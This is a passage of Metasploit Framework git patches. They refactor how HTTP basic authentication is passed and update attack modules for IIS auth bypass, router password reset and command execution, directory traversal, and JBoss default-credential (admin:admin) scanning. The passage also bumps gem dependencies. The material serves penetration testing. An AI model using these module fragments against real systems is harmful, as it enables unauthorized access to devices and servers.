'uri_full_url' => datastore['HTTP::uri_full_url'], 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'], @@ -292,9 +291,9 @@ module Exploit::Remote::HttpClient # # Combine the user/pass into an auth string for the HTTP Client # - def basic_auth - return if not datastore['USERNAME'] - datastore['USERNAME'].to_s + ":" + (datastore['PASSWORD'].to_s || '') + def basic_auth(username, password) + auth_str = Rex::Text.encode_base64("#{username}:#{password}") + "Basic #{auth_str}" end ## diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 47fa021f4f..4a8d8108f3 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -113,7 +113,6 @@ class Client # # @param opts [Hash] # @option opts 'agent' [String] User-Agent header value - # @option opts 'basic_auth' [String] Basic-Auth header value # @option opts 'connection' [String] Connection header value # @option opts 'cookie' [String] Cookie header value # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index c941342fe7..e0cdb4946f 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -87,12 +87,6 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) - - # Backwards compatibility for wonky basic authentication api from - # the dawn of time. - if opts['basic_auth'] and not opts['authorization'] - @opts['authorization'] = "Basic #{Rex::Text.encode_base64(opts['basic_auth'])}" - end end def to_s diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index d900abe8e7..0e051223a7 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => dir, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) vprint_status(res.body) if res diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 12934c9a0e..fb32e1f41c 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri'=> uri, 'method'=>'GET', - 'basic_auth' => "#{Rex::Text.rand_text_alpha(127)}:#{datastore['PASSWORD']}" + 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD']) }) if res.nil? @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method'=> 'GET', - 'basic_auth' => "admin:#{datastore['PASSWORD']}" + 'authorization' => basic_auth('admin', datastore['PASSWORD']) }) if not res diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 189f937ea1..2adf4bb5e8 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) unless (res.kind_of? Rex::Proto::Http::Response) @@ -136,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', - 'basic_auth' => "#{user}:#{pass}", + 'authorization' => basic_auth(user,pass), #'data' => data_cmd, 'vars_post' => { diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 632a991c0f..909afe5443 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(traversal, file), - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" + 'authorization' => basic_auth(user,pass) }) return :abort if res.nil? diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 3f03554c15..a1bcb87489 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw({ 'method' => 'GET', 'uri' => "/#{traversal}/#{datastore['FILEPATH']}", - 'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']) }, 25) rescue Rex::ConnectionRefused print_error("#{rhost}:#{rport} Could not connect.") diff --git a/modules/auxiliary/scanner/http/http_traversal.rb b/modules/auxiliary/scanner/http/http_traversal.rb index a5f6c194f8..eedc2a72ce 100644 --- a/modules/auxiliary/scanner/http/http_traversal.rb +++ b/modules/auxiliary/scanner/http/http_traversal.rb @@ -28,8 +28,7 @@ class Metasploit3 < Msf::Auxiliary source against PHP applications. The 'WRITABLE' action can be used to determine if the trigger can be used to write files outside the www directory. - To use the 'COOKIE' option, set your value like so: "name=value". To use - the 'BASICAUTH' option, set it like this: "username:password". + To use the 'COOKIE' option, set your value like so: "name=value". }, 'Author' => [ @@ -70,8 +69,7 @@ class Metasploit3 < Msf::Auxiliary # We favor automatic OptString.new('TRIGGER', [false,'Trigger string. Ex: ../', '']), OptString.new('FILE', [false, 'Default file to read for the fuzzing stage', '']), - OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']), - OptString.new('BASICAUTH', [false, 'Credential to use for basic auth (Ex: admin:admin)', '']) + OptString.new('COOKIE', [false, 'Cookie value to use when sending the requests', '']) ], self.class) deregister_options('RHOST') @@ -155,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary req['uri'] = this_path req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty? req['data'] = datastore['DATA'] if not datastore['DATA'].empty? - req['basic_auth'] = datastore['BASICAUTH'] if not datastore['BASICAUTH'].empty? + req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) return req end diff --git a/modules/auxiliary/scanner/http/jboss_vulnscan.rb b/modules/auxiliary/scanner/http/jboss_vulnscan.rb index d6dc7c3638..41f5566772 100644 --- a/modules/auxiliary/scanner/http/jboss_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jboss_vulnscan.rb @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => app, 'method' => 'GET', 'ctype' => 'text/plain', - 'basic_auth' => 'admin:admin' + 'authorization' => basic_auth('admin','admin') }, 20) if (res and res.code == 200) print_good("#{rhost}:#{rport} Authenticated using admin:admin") diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index b546de063f..cbddcb1930 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', - 'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'], + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'vars_post' => { 'global_smtp' => "", diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index bb2f642e38..3ddd07d6bd 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -85,26 +85,6 @@ describe Rex::Proto::Http::Client do match.captures[0].chomp.should == base64 end end - - context "and basic_auth" do - before do - cli.set_config({"basic_auth" => "user:pass"}) - end - it "should not have two Authorization headers" do - req = cli.request_cgi - match = req.to_s.match("Authorization: Basic") - match.should be - match.length.should == 1 - end - it "should prefer basic_auth" do - req = cli.request_cgi - match = req.to_s.match(/Authorization: Basic (.*)$/) - match.should be - match.captures.length.should == 1 - match.captures[0].chomp.should == base64 - end - end - end it "should attempt to connect to a server" do From 99a8ec593bb03d4388865aec4c11b51b3ce10a03 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Fri, 1 Mar 2013 20:21:02 +0200 Subject: [PATCH 259/341] Fixing merge conflicts --- lib/msf/core/auxiliary/web.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 48428b720c..3c83af5f9a 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -179,10 +179,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})" @@ -211,10 +212,11 @@ module Auxiliary::Web :blame => details[:blame], :category => details[:category], :description => details[:description], - :confidence => details[:category] || opts[:confidence] || 100, :owner => self } + info[:confidence] = calculate_confidence( info ) + report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" @@ -278,7 +280,7 @@ module Auxiliary::Web report_web_vuln( info ) print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" + - " PARAMETER(#{element.altered}) VALUES(#{element.params})" + " PARAMETER(#{element.altered}) VALUES(#{element.params})" print_good " PROOF(#{proof})" end From bd8f94c43dac3eb9a81edcce85e47bbe183093f1 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 13:44:52 -0600 Subject: [PATCH 260/341] Update to master tag of 0.5.1 of metasploit_data_models [#44034071] --- Gemfile.lock | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 6ac57f60f6..983117cbb4 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,6 +1,6 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: a56276f8f6d1f2d532c03d2900537cadf94e1411 + revision: 1e3e0c2effb8e1bb6cec9683b830e4244babf706 tag: 0.5.1 specs: metasploit_data_models (0.5.1) @@ -12,22 +12,22 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.11) - activesupport (= 3.2.11) + activemodel (3.2.12) + activesupport (= 3.2.12) builder (~> 3.0.0) - activerecord (3.2.11) - activemodel (= 3.2.11) - activesupport (= 3.2.11) + activerecord (3.2.12) + activemodel (= 3.2.12) + activesupport (= 3.2.12) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.11) + activesupport (3.2.12) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) coderay (1.0.9) diff-lcs (1.1.3) - i18n (0.6.1) + i18n (0.6.4) json (1.7.7) method_source (0.8.1) msgpack (0.5.2) From b855bd3f3affb2074b44326d94ab6c4e5edc6374 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 14:06:58 -0600 Subject: [PATCH 261/341] Add metasploit_data_models 0.5.1 to gemcache [#44034071] --- .../gems/metasploit_data_models-0.4.0/Gemfile | 10 - .../metasploit_data_models-0.4.0/Rakefile | 7 - .../app/models/mdm/web_vuln.rb | 16 - .../lib/metasploit_data_models/version.rb | 7 - .../.gitignore | 10 +- .../.rspec | 0 .../metasploit_data_models-0.5.1/.simplecov | 38 ++ .../metasploit_data_models-0.5.1/.yardopts | 4 + .../gems/metasploit_data_models-0.5.1/Gemfile | 22 + .../LICENSE | 0 .../README.md | 0 .../metasploit_data_models-0.5.1/Rakefile | 20 + .../app/models/mdm/api_key.rb | 0 .../app/models/mdm/client.rb | 0 .../app/models/mdm/cred.rb | 0 .../app/models/mdm/event.rb | 0 .../app/models/mdm/exploit_attempt.rb | 0 .../app/models/mdm/exploited_host.rb | 0 .../app/models/mdm/host.rb | 0 .../app/models/mdm/host_detail.rb | 0 .../app/models/mdm/host_tag.rb | 0 .../app/models/mdm/imported_cred.rb | 0 .../app/models/mdm/listener.rb | 0 .../app/models/mdm/loot.rb | 0 .../app/models/mdm/macro.rb | 0 .../app/models/mdm/mod_ref.rb | 0 .../app/models/mdm/module_action.rb | 0 .../app/models/mdm/module_arch.rb | 0 .../app/models/mdm/module_author.rb | 0 .../app/models/mdm/module_detail.rb | 0 .../app/models/mdm/module_mixin.rb | 0 .../app/models/mdm/module_platform.rb | 0 .../app/models/mdm/module_ref.rb | 0 .../app/models/mdm/module_target.rb | 0 .../app/models/mdm/nexpose_console.rb | 0 .../app/models/mdm/note.rb | 0 .../app/models/mdm/profile.rb | 0 .../app/models/mdm/ref.rb | 0 .../app/models/mdm/report.rb | 0 .../app/models/mdm/report_template.rb | 0 .../app/models/mdm/route.rb | 0 .../app/models/mdm/service.rb | 0 .../app/models/mdm/session.rb | 0 .../app/models/mdm/session_event.rb | 0 .../app/models/mdm/tag.rb | 0 .../app/models/mdm/task.rb | 0 .../app/models/mdm/user.rb | 0 .../app/models/mdm/vuln.rb | 0 .../app/models/mdm/vuln_attempt.rb | 0 .../app/models/mdm/vuln_detail.rb | 0 .../app/models/mdm/vuln_ref.rb | 0 .../app/models/mdm/web_form.rb | 0 .../app/models/mdm/web_page.rb | 0 .../app/models/mdm/web_site.rb | 0 .../app/models/mdm/web_vuln.rb | 144 ++++ .../app/models/mdm/wmap_request.rb | 0 .../app/models/mdm/wmap_target.rb | 0 .../app/models/mdm/workspace.rb | 0 .../bin/mdm_console | 0 .../console_db.yml | 0 .../db/migrate/000_create_tables.rb | 79 +++ .../db/migrate/001_add_wmap_tables.rb | 35 + .../db/migrate/002_add_workspaces.rb | 36 + .../db/migrate/003_move_notes.rb | 20 + .../db/migrate/004_add_events_table.rb | 16 + .../db/migrate/005_expand_info.rb | 58 ++ .../db/migrate/006_add_timestamps.rb | 26 + .../db/migrate/007_add_loots.rb | 20 + .../db/migrate/008_create_users.rb | 16 + .../db/migrate/009_add_loots_ctype.rb | 10 + .../db/migrate/010_add_alert_fields.rb | 16 + .../db/migrate/011_add_reports.rb | 19 + .../db/migrate/012_add_tasks.rb | 24 + .../db/migrate/013_add_tasks_result.rb | 10 + .../db/migrate/014_add_loots_fields.rb | 12 + .../db/migrate/015_rename_user.rb | 16 + .../db/migrate/016_add_host_purpose.rb | 10 + .../db/migrate/017_expand_info2.rb | 58 ++ .../db/migrate/018_add_workspace_user_info.rb | 29 + .../db/migrate/019_add_workspace_desc.rb | 23 + .../db/migrate/020_add_user_preferences.rb | 11 + .../migrate/021_standardize_info_and_data.rb | 18 + .../db/migrate/022_enlarge_event_info.rb | 10 + .../migrate/023_add_report_downloaded_at.rb | 10 + .../024_convert_service_info_to_text.rb | 12 + .../db/migrate/025_add_user_admin.rb | 19 + .../db/migrate/026_add_creds_table.rb | 19 + .../20100819123300_migrate_cred_data.rb | 154 +++++ .../20100824151500_add_exploited_table.rb | 16 + .../20100908001428_add_owner_to_workspaces.rb | 9 + .../20100911122000_add_report_templates.rb | 18 + .../20100916151530_require_admin_flag.rb | 15 + ...00916175000_add_campaigns_and_templates.rb | 61 ++ .../20100920012100_add_generate_exe_column.rb | 8 + .../20100926214000_add_template_prefs.rb | 11 + .../migrate/20101001000000_add_web_tables.rb | 57 ++ .../db/migrate/20101002000000_add_query.rb | 10 + .../migrate/20101007000000_add_vuln_info.rb | 15 + ...20101008111800_add_clients_to_campaigns.rb | 10 + ...20101009023300_add_campaign_attachments.rb | 15 + .../20101104135100_add_imported_creds.rb | 17 + .../migrate/20101203000000_fix_web_tables.rb | 34 + .../20101203000001_expand_host_comment.rb | 12 + ...2033_add_limit_to_network_to_workspaces.rb | 9 + ...20110112154300_add_module_uuid_to_tasks.rb | 9 + .../migrate/20110204112800_add_host_tags.rb | 28 + .../20110317144932_add_session_table.rb | 110 +++ ...414180600_add_local_id_to_session_table.rb | 11 + .../20110415175705_add_routes_table.rb | 18 + .../migrate/20110422000000_convert_binary.rb | 72 ++ ...0110425095900_add_last_seen_to_sessions.rb | 8 + ...0110513143900_track_successful_exploits.rb | 31 + ...517160800_rename_and_prune_nessus_vulns.rb | 26 + ...0527000000_add_task_id_to_reports_table.rb | 11 + .../20110527000001_add_api_keys_table.rb | 12 + .../20110606000001_add_macros_table.rb | 16 + ...10622000000_add_settings_to_tasks_table.rb | 12 + .../20110624000001_add_listeners_table.rb | 19 + ...0625000001_add_macro_to_listeners_table.rb | 12 + ...110630000001_add_nexpose_consoles_table.rb | 21 + ...0002_add_name_to_nexpose_consoles_table.rb | 12 + .../20110717000001_add_profiles_table.rb | 15 + ...20110727163801_expand_cred_ptype_column.rb | 9 + .../20110730000001_add_initial_indexes.rb | 85 +++ .../migrate/20110812000001_prune_indexes.rb | 23 + .../db/migrate/20110922000000_expand_notes.rb | 9 + .../20110928101300_add_mod_ref_table.rb | 17 + ...10000_add_display_name_to_reports_table.rb | 24 + .../db/migrate/20111203000000_inet_columns.rb | 13 + .../20111204000000_more_inet_columns.rb | 17 + .../20111210000000_add_scope_to_hosts.rb | 9 + ...0120126110000_add_virtual_host_to_hosts.rb | 9 + ...20120411173220_rename_workspace_members.rb | 9 + ...20601152442_add_counter_caches_to_hosts.rb | 21 + .../20120625000000_add_vuln_details.rb | 34 + .../20120625000001_add_host_details.rb | 16 + .../migrate/20120625000002_expand_details.rb | 16 + .../migrate/20120625000003_expand_details2.rb | 24 + .../20120625000004_add_vuln_attempts.rb | 19 + ...000005_add_vuln_and_host_counter_caches.rb | 14 + .../20120625000006_add_module_details.rb | 118 ++++ .../20120625000007_add_exploit_attempts.rb | 26 + .../20120625000008_add_fail_message.rb | 12 + ...2805_add_owner_and_payload_to_web_vulns.rb | 13 + ...ired_columns_to_null_false_in_web_vulns.rb | 35 + .../lib/mdm.rb | 0 .../host/operating_system_normalization.rb | 0 .../lib/metasploit_data_models.rb | 0 .../base64_serializer.rb | 0 .../lib/metasploit_data_models/engine.rb | 0 .../serialized_prefs.rb | 0 .../validators/ip_format_validator.rb | 0 .../password_is_strong_validator.rb | 0 .../lib/metasploit_data_models/version.rb | 8 + .../lib/tasks/yard.rake | 27 + .../metasploit_data_models.gemspec | 4 + .../script/rails | 0 .../spec/app/models/mdm/web_vuln_spec.rb | 87 +++ .../spec/dummy/Rakefile | 0 .../app/assets/javascripts/application.js | 0 .../app/assets/stylesheets/application.css | 0 .../app/controllers/application_controller.rb | 0 .../dummy/app/helpers/application_helper.rb | 0 .../spec/dummy/app/mailers/.gitkeep | 0 .../spec/dummy/app/models/.gitkeep | 0 .../app/views/layouts/application.html.erb | 0 .../spec/dummy/config.ru | 0 .../spec/dummy/config/application.rb | 0 .../spec/dummy/config/boot.rb | 0 .../spec/dummy/config/database.yml.example | 0 .../spec/dummy/config/environment.rb | 0 .../dummy/config/environments/development.rb | 0 .../dummy/config/environments/production.rb | 0 .../spec/dummy/config/environments/test.rb | 0 .../initializers/backtrace_silencers.rb | 0 .../dummy/config/initializers/inflections.rb | 0 .../dummy/config/initializers/mime_types.rb | 0 .../dummy/config/initializers/secret_token.rb | 0 .../config/initializers/session_store.rb | 0 .../config/initializers/wrap_parameters.rb | 0 .../spec/dummy/config/routes.rb | 0 .../spec/dummy/db/schema.rb | 638 ++++++++++++++++++ .../spec/dummy/lib/assets/.gitkeep | 0 .../spec/dummy/log/.gitkeep | 0 .../spec/dummy/public/404.html | 0 .../spec/dummy/public/422.html | 0 .../spec/dummy/public/500.html | 0 .../spec/dummy/public/favicon.ico | 0 .../spec/dummy/script/rails | 0 .../spec/lib/base64_serializer_spec.rb | 0 .../spec/spec_helper.rb | 2 + ...c => metasploit_data_models-0.5.1.gemspec} | 16 +- 192 files changed, 3131 insertions(+), 47 deletions(-) delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb delete mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/.gitignore (78%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/.rspec (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/LICENSE (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/README.md (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/api_key.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/client.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/exploit_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/exploited_host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/host_tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/imported_cred.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/listener.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/loot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/macro.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/mod_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_action.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_arch.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_author.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_mixin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_platform.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/module_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/nexpose_console.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/note.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/profile.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/report.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/report_template.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/route.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/service.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/session.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/session_event.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/tag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/task.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/user.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_attempt.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_detail.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/vuln_ref.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_form.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_page.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/web_site.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/wmap_request.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/wmap_target.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/app/models/mdm/workspace.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/bin/mdm_console (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/console_db.yml (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb create mode 100755 